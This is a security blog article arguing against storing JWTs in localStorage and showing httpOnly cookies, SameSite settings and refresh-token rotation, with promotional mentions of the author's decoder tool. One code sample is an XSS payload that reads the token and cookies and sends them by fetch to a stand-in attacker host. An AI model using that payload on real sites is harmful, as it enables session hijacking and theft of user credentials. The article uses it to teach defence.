Security

Stop Storing JWTs in localStorage Right Now

LocalStorage JWTs are an XSS magnet. Learn secure token storage patterns with httpOnly cookies, token rotation, and real attack scenarios.

Zamad Shakeel11 min read
Stop Storing JWTs in localStorage Right Now

That One Line of Code That Exposes Every User Session

Somewhere in your codebase, there's a line that looks like this:

localStorage.setItem('token', response.data.accessToken);

It works. The login flow completes. The dashboard loads. QA signs off. And you've just handed every XSS vulnerability on your entire domain — including ones buried in third-party scripts you didn't write — a skeleton key to every active user session.

I've audited authentication implementations at startups and mid-size companies for years, and this pattern appears in roughly 70% of single-page applications. It ships in tutorial code, it ships in boilerplate templates, and it ships in production apps serving millions of users. The developers who wrote it aren't negligent — they followed a tutorial that prioritized simplicity over security, and nobody on the team understood why localStorage is fundamentally hostile to secrets.

This article breaks down exactly how JWT token theft works, why localStorage is the wrong storage mechanism for authentication credentials, and the specific implementation patterns that actually protect your users.

Key Takeaways

  • Storing JWTs in localStorage exposes tokens to every JavaScript execution context on the page — including XSS payloads, compromised npm packages, and injected browser extensions.
  • httpOnly cookies with Secure, SameSite=Strict, and short expiration windows prevent JavaScript access to tokens entirely.
  • Access token + refresh token rotation limits the blast radius of a compromised token to minutes instead of days.
  • JWTs are not encrypted — anyone with a token can read every claim in the payload. Sensitive PII should never appear in JWT claims.
  • Token signature verification must happen server-side on every request — client-side "validation" provides zero security.

How XSS Turns localStorage Into an Open Vault

Cross-site scripting (XSS) lets an attacker execute arbitrary JavaScript in a victim's browser within the context of your domain. Once an attacker achieves XSS — through a stored injection in user-generated content, a reflected parameter, or a compromised third-party script — they own localStorage:

// This is the ENTIRE attack payload needed to steal every JWT
// from localStorage once XSS is achieved
const stolenToken = localStorage.getItem('token');

// Exfiltrate to attacker-controlled server
fetch('https://evil.attacker.com/collect', {
  method: 'POST',
  body: JSON.stringify({
    token: stolenToken,
    cookies: document.cookie, // non-httpOnly cookies too
    url: window.location.href,
    timestamp: Date.now()
  })
});
// Attacker now has a valid session token. Game over.

That's not a theoretical exploit. That's seven lines of JavaScript. Once the attacker has the JWT, they impersonate the user from any device, any network, anywhere in the world, until the token expires. If you set long-lived tokens (7 days, 30 days — common in SPAs that want persistent sessions), the attacker owns that account for weeks.

The Attack Surface Is Larger Than You Think

localStorage is accessible to every script executing on your origin. That includes:

  • Your application code — intentional access
  • Third-party analytics scripts — Google Analytics, Mixpanel, Segment
  • Chat widgets — Intercom, Drift, Zendesk
  • A/B testing tools — Optimizely, VWO, LaunchDarkly's client SDK
  • Ad network scripts — any script your marketing team injected via tag manager
  • Browser extensions — content scripts injected by the user's extensions
  • Compromised npm packages — supply-chain attacks that inject data exfiltration

Each one of those is a potential XSS vector. A single vulnerability in any script loaded on your domain — even a script you didn't write — gives the attacker full access to every token in localStorage.

JWTs Are Not Encrypted — Stop Treating Them Like Sealed Envelopes

A JWT consists of three Base64URL-encoded segments: header, payload, and signature. The header and payload are encoded, not encrypted. Anyone who possesses the token can decode and read every claim:

// Anyone can decode a JWT — no secret key needed
function decodeJWT(token) {
  const [headerB64, payloadB64, signature] = token.split('.');
  
  const header = JSON.parse(atob(headerB64.replace(/-/g, '+').replace(/_/g, '/')));
  const payload = JSON.parse(atob(payloadB64.replace(/-/g, '+').replace(/_/g, '/')));

  return {
    header,
    payload,
    signature,
    // Check if expired
    isExpired: payload.exp ? Date.now() / 1000 > payload.exp : false,
    // Human-readable expiration
    expiresAt: payload.exp ? new Date(payload.exp * 1000).toISOString() : 'never'
  };
}

// Example: decode a token from an API response to debug auth failures
const decoded = decodeJWT(myToken);
console.log('Algorithm:', decoded.header.alg);    // "RS256"
console.log('User ID:', decoded.payload.sub);      // "user_abc123"
console.log('Roles:', decoded.payload.roles);      // ["admin", "editor"]
console.log('Expired?', decoded.isExpired);        // true/false
console.log('Expires:', decoded.expiresAt);        // "2026-03-15T12:00:00.000Z"

This means every claim in the payload is readable by anyone who intercepts the token — user IDs, email addresses, roles, permissions, tenant IDs. Never put sensitive data like passwords, social security numbers, or payment information in JWT claims.

When debugging authentication flows, you need to inspect token contents constantly — checking expiration timestamps, verifying audience claims, confirming the algorithm header. Instead of writing throwaway decode functions, paste the token into the ZamDev AI JWT Decoder to instantly see the decoded header, payload, and expiration status with human-readable timestamps — entirely client-side, so your production bearer tokens never hit an external server.

The Correct Pattern: httpOnly Cookies + Short-Lived Access Tokens

The fix isn't "use sessionStorage instead" (same XSS vulnerability, slightly smaller window). The fix is removing token access from JavaScript entirely.

httpOnly Cookies Block JavaScript Access

When your server sets a cookie with the httpOnly flag, the browser includes it in every matching HTTP request but refuses to expose it to JavaScript. document.cookie won't return it. localStorage.getItem() can't reach it. XSS payloads can't read it.

// Server response header — sets a secure, httpOnly auth cookie
Set-Cookie: access_token=eyJhbGciOi...; 
  HttpOnly;           // JavaScript CANNOT read this cookie
  Secure;             // Only sent over HTTPS
  SameSite=Strict;    // Not sent on cross-origin requests (CSRF protection)
  Path=/;             // Available on all routes
  Max-Age=900;        // Expires in 15 minutes

The Access + Refresh Token Architecture

Short-lived access tokens (5–15 minutes) paired with rotating refresh tokens give you the best balance of security and user experience:

TokenStorageLifetimePurpose
Access TokenhttpOnly cookie5–15 minAuthorizes API requests
Refresh TokenhttpOnly cookie (separate)7–30 daysIssues new access tokens
CSRF TokenResponse body / meta tagSessionPrevents cross-origin form submissions

When the access token expires, the client calls a /refresh endpoint. The server validates the refresh token, issues a new access token (and optionally rotates the refresh token), and sets updated cookies. The client never touches the token value — it's cookie-in, cookie-out.

// Client-side: API calls automatically include httpOnly cookies
// No manual token management needed
async function fetchUserProfile() {
  const response = await fetch('/api/user/profile', {
    credentials: 'include',  // tells browser to send cookies
    headers: {
      'X-CSRF-Token': getCSRFToken(),  // CSRF protection for mutations
    }
  });

  if (response.status === 401) {
    // Access token expired — attempt silent refresh
    const refreshed = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include',
    });

    if (refreshed.ok) {
      // New access token set via Set-Cookie header automatically
      // Retry the original request
      return fetch('/api/user/profile', { credentials: 'include' });
    }

    // Refresh token also expired — redirect to login
    window.location.href = '/login';
  }

  return response.json();
}

Why SameSite=Strict Matters for CSRF

Moving tokens to cookies introduces a historical concern: Cross-Site Request Forgery (CSRF). An attacker on evil.com could embed a form that POSTs to your API, and the browser would attach cookies automatically.

SameSite=Strict eliminates this entirely. The browser will not send the cookie on any cross-origin request — not from forms, not from <img> tags, not from JavaScript fetch() calls originating from a different domain. Combined with a CSRF token for state-changing operations, the attack surface drops to near-zero.

Token Rotation: Limiting the Blast Radius

Even with httpOnly cookies, a sophisticated attacker who achieves server-side access could theoretically extract a refresh token. Token rotation limits the damage:

// Server-side refresh endpoint with rotation
async function handleTokenRefresh(req, res) {
  const refreshToken = req.cookies.refresh_token;

  // 1. Validate the refresh token exists and is not revoked
  const tokenRecord = await db.refreshTokens.findOne({
    token: hashToken(refreshToken),  // store hashed, compare hashed
    revoked: false
  });

  if (!tokenRecord || tokenRecord.expiresAt < new Date()) {
    // Invalid or expired — force re-login
    res.clearCookie('access_token');
    res.clearCookie('refresh_token');
    return res.status(401).json({ error: 'Session expired' });
  }

  // 2. REVOKE the old refresh token (one-time use)
  await db.refreshTokens.updateOne(
    { _id: tokenRecord._id },
    { $set: { revoked: true, revokedAt: new Date() } }
  );

  // 3. Issue NEW access token + NEW refresh token
  const newAccessToken = signAccessToken({ sub: tokenRecord.userId });
  const newRefreshToken = generateSecureToken();  // crypto.randomBytes(64)

  // 4. Store new refresh token hash
  await db.refreshTokens.insertOne({
    token: hashToken(newRefreshToken),
    userId: tokenRecord.userId,
    expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000), // 30 days
    family: tokenRecord.family,  // For detecting replay attacks
    revoked: false
  });

  // 5. Set new cookies
  res.cookie('access_token', newAccessToken, {
    httpOnly: true, secure: true, sameSite: 'strict', maxAge: 900000
  });
  res.cookie('refresh_token', newRefreshToken, {
    httpOnly: true, secure: true, sameSite: 'strict', maxAge: 2592000000
  });

  return res.json({ success: true });
}

The family field enables replay detection. If an attacker steals a refresh token and uses it, the legitimate user's next refresh attempt will present the old (revoked) token. The server detects this conflict, revokes the entire token family, and forces re-authentication — alerting you to a potential breach.

Common Pitfalls and Troubleshooting

You don't need the full JWT for client-side UI decisions. Have your /auth/me endpoint return user metadata (roles, permissions, display name) as JSON in the response body. The authentication token stays in the cookie; the UI data comes through the API response. This also prevents the common bug where the client trusts expired token claims for authorization decisions — the server always returns current state.

"Token refresh causes a visible loading flicker"

Implement silent refresh with a race condition guard. When the access token is 60 seconds from expiration, trigger a background refresh before any API call fails. Use a Promise-based mutex so multiple simultaneous API calls share a single refresh request instead of each firing their own:

let refreshPromise = null;

async function ensureValidToken() {
  if (refreshPromise) return refreshPromise;

  refreshPromise = fetch('/api/auth/refresh', {
    method: 'POST',
    credentials: 'include'
  }).finally(() => { refreshPromise = null; });

  return refreshPromise;
}

"I need to verify the JWT signature on the client"

You don't, and you shouldn't rely on it. Client-side signature verification provides zero security because the attacker controls the client environment. If an attacker has XSS, they can bypass any client-side validation. Signature verification is exclusively a server-side responsibility — the server holds the signing key and validates every incoming request.

Cookies have a 4KB size limit per cookie. If your JWT exceeds this (common when claims include nested permission objects), two fixes:

  1. Reduce claims — move detailed permissions to a server-side session store, keep only sub, exp, iat, and jti in the token.
  2. Use opaque tokens — instead of a self-contained JWT, use a random string that maps to a server-side session. You lose the "stateless" property of JWTs, but you gain unlimited session data capacity and instant revocation.

"I need to decode a JWT quickly to debug a 401 error in staging"

Don't write a throwaway atob() script every time — the ZamDev AI JWT Decoder splits the token into header, payload, and signature, renders claims with syntax highlighting, and converts exp/iat timestamps to human-readable dates. No token data leaves your browser.

The Decision Framework

Use this to decide your token storage strategy:

  • SPA with same-origin API → httpOnly cookies, access + refresh rotation, SameSite=Strict
  • SPA with cross-origin API → httpOnly cookies with SameSite=Lax, CSRF tokens, CORS whitelist
  • Mobile app → Secure storage (iOS Keychain / Android Keystore), short-lived access tokens
  • Server-rendered app → httpOnly session cookies, server-side session store
  • Never → localStorage, sessionStorage, or any JavaScript-accessible storage for authentication tokens

The convenience of localStorage.setItem('token', jwt) isn't worth the attack surface it creates. Your users trust you with their sessions. Stop storing secrets where every script on the page can read them.

Share this article

Help others discover this content